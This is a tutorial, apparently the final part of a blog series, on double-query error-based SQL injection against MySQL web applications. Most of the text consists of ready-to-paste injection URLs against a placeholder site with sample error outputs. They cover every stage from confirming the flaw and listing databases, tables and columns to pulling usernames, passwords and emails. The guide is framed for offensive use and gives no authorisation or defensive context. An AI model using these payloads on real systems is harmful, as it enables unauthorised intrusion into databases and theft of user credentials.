DOUBLE QUERY BASED SQL INJECTION

Today I will add a final page to my SQL Injection guide to cover Double Query based SQL injections. This guide should explain what double query injections are and the usual step by step guide to help get you started doing this on your own. This is a very handy technique to have in your arsenal as there will be many times Union injections just wont work and blind injections are very time consuming and hard to interpret sometimes. If you get stuck just re-read things from the beginnning and try to practice, practice, practice. You will get this after a little trial and error. Here goes, try to keep up...

Double Query SQL Injection is a method for querying SQL databases by using two queries together combined in a single query statement. This basically ends up confusing the backend database and causing errors to be thrown. The errors received will contain the information we are trying to extract, just like previous  error-based SQL injection examples I have covered.

NOTE: I should also note that while it is definately faster than Blind & Time-Based injections, we will not have the ability to access anything using GROUP_CONCAT() which means we will need to heavily rely on CONCAT() and the LIMIT feature to get all of the info from the database.

OK now that you have an idea of what it is, let us begin testing it out and see it in action. When it comes to testing a site for vulnerability you can run the standrd checks for basic Union injection. If they work then no need to complicate things with Double Queries, but when those fail it is time to test Double Query injections. This is our last hope of finding an injection vector, assuming you have tested all other methods prior to this one (I do). Anyways, we can use Double Query injection to test for the current database name first and then work our way through the rest of the databse if it works. If it returns a value then we have found a vulnerability and can continue, if not then you may be S.O.L. since I have given you all my SQLi methods. Here is what the query looks like to run a quick check for the current database:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                duplicate entry '~'MyCurrent_DB'~1' for key 1


As you can see the site is vulnerable and returned an error with the current database listed in the error, in this case "MyCurrent_DB". If you are scratching your head trying to figure this one out, here is the breakdown. We have used both floor() and rand() to query information_schema.tables which are being nulled out in this request as floor(rand(0)*2) is null, which allows the rest of our request to be processed and return the current database name. The basic syntax will repeat itself so you will pick it up over time if it doesn’t catch on right away. Moving on...Now that we know it is vulnerable we can test for additional databases, as well as version info and user info,. Once the basic system info is grasped we can move on to grabbing tables, columns, and finally extraction of data. In order to test for additional databases we need to first grab the count by alter the above request to:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables GROUP BY x)a)
               
RESULT:
                Duplicate entry '~'Number_of_Databases_Available'~1' for key 1



Now that we have the count we can alter the above to use CONCAT and LIMIT to grab the name of each database available, like this:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

NOTE: You will need to keep incrementing the value of "N" in the middle of the above query to work your way through the available DB names, just keep going until you have reached the number returned in our request above this one. (i.e. LIMIT 0,1 followed by LIMIT 1,1 followed by LIMIT 2,1 and just repeat as needed). We have to do this since we can’t use GROUP_CONCAT() :(

RESULT:
                Duplicate entry '~'Name_of_Database'~1' for key 1

*Message will appear the same, but LIMIT will be changed to get different DB Name each time




Once you have all the DB names you might want to find out the current user and confirm version info as well as some other basic stuff. It can be done using slight variations to our original query for current database which would look like this, notice only the call in the middle is being altered:

VERSION:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select concat(version())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry '~'5.1.1-log'~1' for key 1


USER:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select concat(user())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry '~'dumbdba@localhost'~1' for key 1


DATADIR:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select concat(@@datadir)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry '~'/var/mysql/'~1' for key 1


HOSTNAME:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select concat(@@hostname)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry '~'10.10.10.10@255.255.255.0'~1' for key 1

NOTE: DATADIR & HOSTNAME might not always work, depending on version and DB setup


Alright, we have gathered the basic info so now it is time to move on to actually grabbing the table and column names. As with other methods we will start with tables and then work to columns, and like the above examples we will be using CONCAT and LIMIT to allow us to get the entire contents since we cant use GROUP_CONCAT(). We first get the count and then enumerate the tables. It looks like this:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=<HEX_VLAUE_OF_DB_NAME>)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry 'Number_Of_Tables' for key 1


Once the count is known, we enumerate tables one by one...

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=<HEX_VLAUE_OF_DB_NAME> LIMIT 1,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry 'TABLE_Name' for key 1


You will need to HEX the DB Name from which you are pulling table names from or it will not be properly processed, same is true if you are pulling columns from tables as we will do in this next step now that we have found some tables. Grabbing the column count looks like this:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=<HEX_VLAUE_OF_DB_NAME> AND table_name=<HEX_VLAUE_OF_TABLE_NAME>)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry 'Number_Of_Columns_In_Table' for key 1



Once the number of columns is known we can just use LIMIT again to sort through them one by one, just keep incrementing LIMIT until you have found as many as it returned in the above request. Grabbing actual columns looks like this:

COMMAND:
http://site.com/index.php?id=5+and(select 1 FROM(select count(*),concat((select (select (select distinct concat(cast(column_name as char)) FROM information_schema.columns WHERE table_schema=<HEX_VLAUE_OF_DB_NAME> AND table_name=<HEX_VLAUE_OF_TABLE_NAME> LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

RESULT:
                Duplicate entry 'COLUMN_Name' for key 1


OK, so now we have outlined the entire database structure and know the tables and columns. Now it is finally time to extract the desired data from the database. In order to do this we change the query to look like this:

COMMAND:
http://site.com/index.php?id=5+and+(select 1 FROM(select+count(*),concat((select+concat(0x3a,username,0x3a,password,0x3a,email,0x3a) FROM <TABLE_NAME>+LIMIT+0,1),floor(rand(0)*2))x FROM information_schema.tables+GROUP BY x)b)

RESULT:
                Duplicate entry ':admin:adminpass:admin@localhost:' for key 1


If you need to continue you can do what we have done for every other request and start incrementing the LIMIT value to enumerate all of the data you want to pull. You have successfully extracted data using Double Query SQL Injection, grab a beer and pat yourself on the back - you deserve it! This pretty much wraps things up as I don't really have any more techniques to share with you, so I hope you have enjoyed my series I have put together for you on how to perform SQL Injections using various methods and techniques. Until next time, Enjoy!

OTHER SQL INJECTION REFERENCES:
BASIC SQL Injection 101: SQL-101
SQL Injection & WAF Bypassing: WAF-Bypass
SQL Injection using LOAD FILE & INTO OUTFILE: LOAD_FILE-INTO_OUTFILE
XPATH Injection: Xpath-Injection
BLIND & TIME-BASED SQL Injection: Blind_and_Time-Based_Injections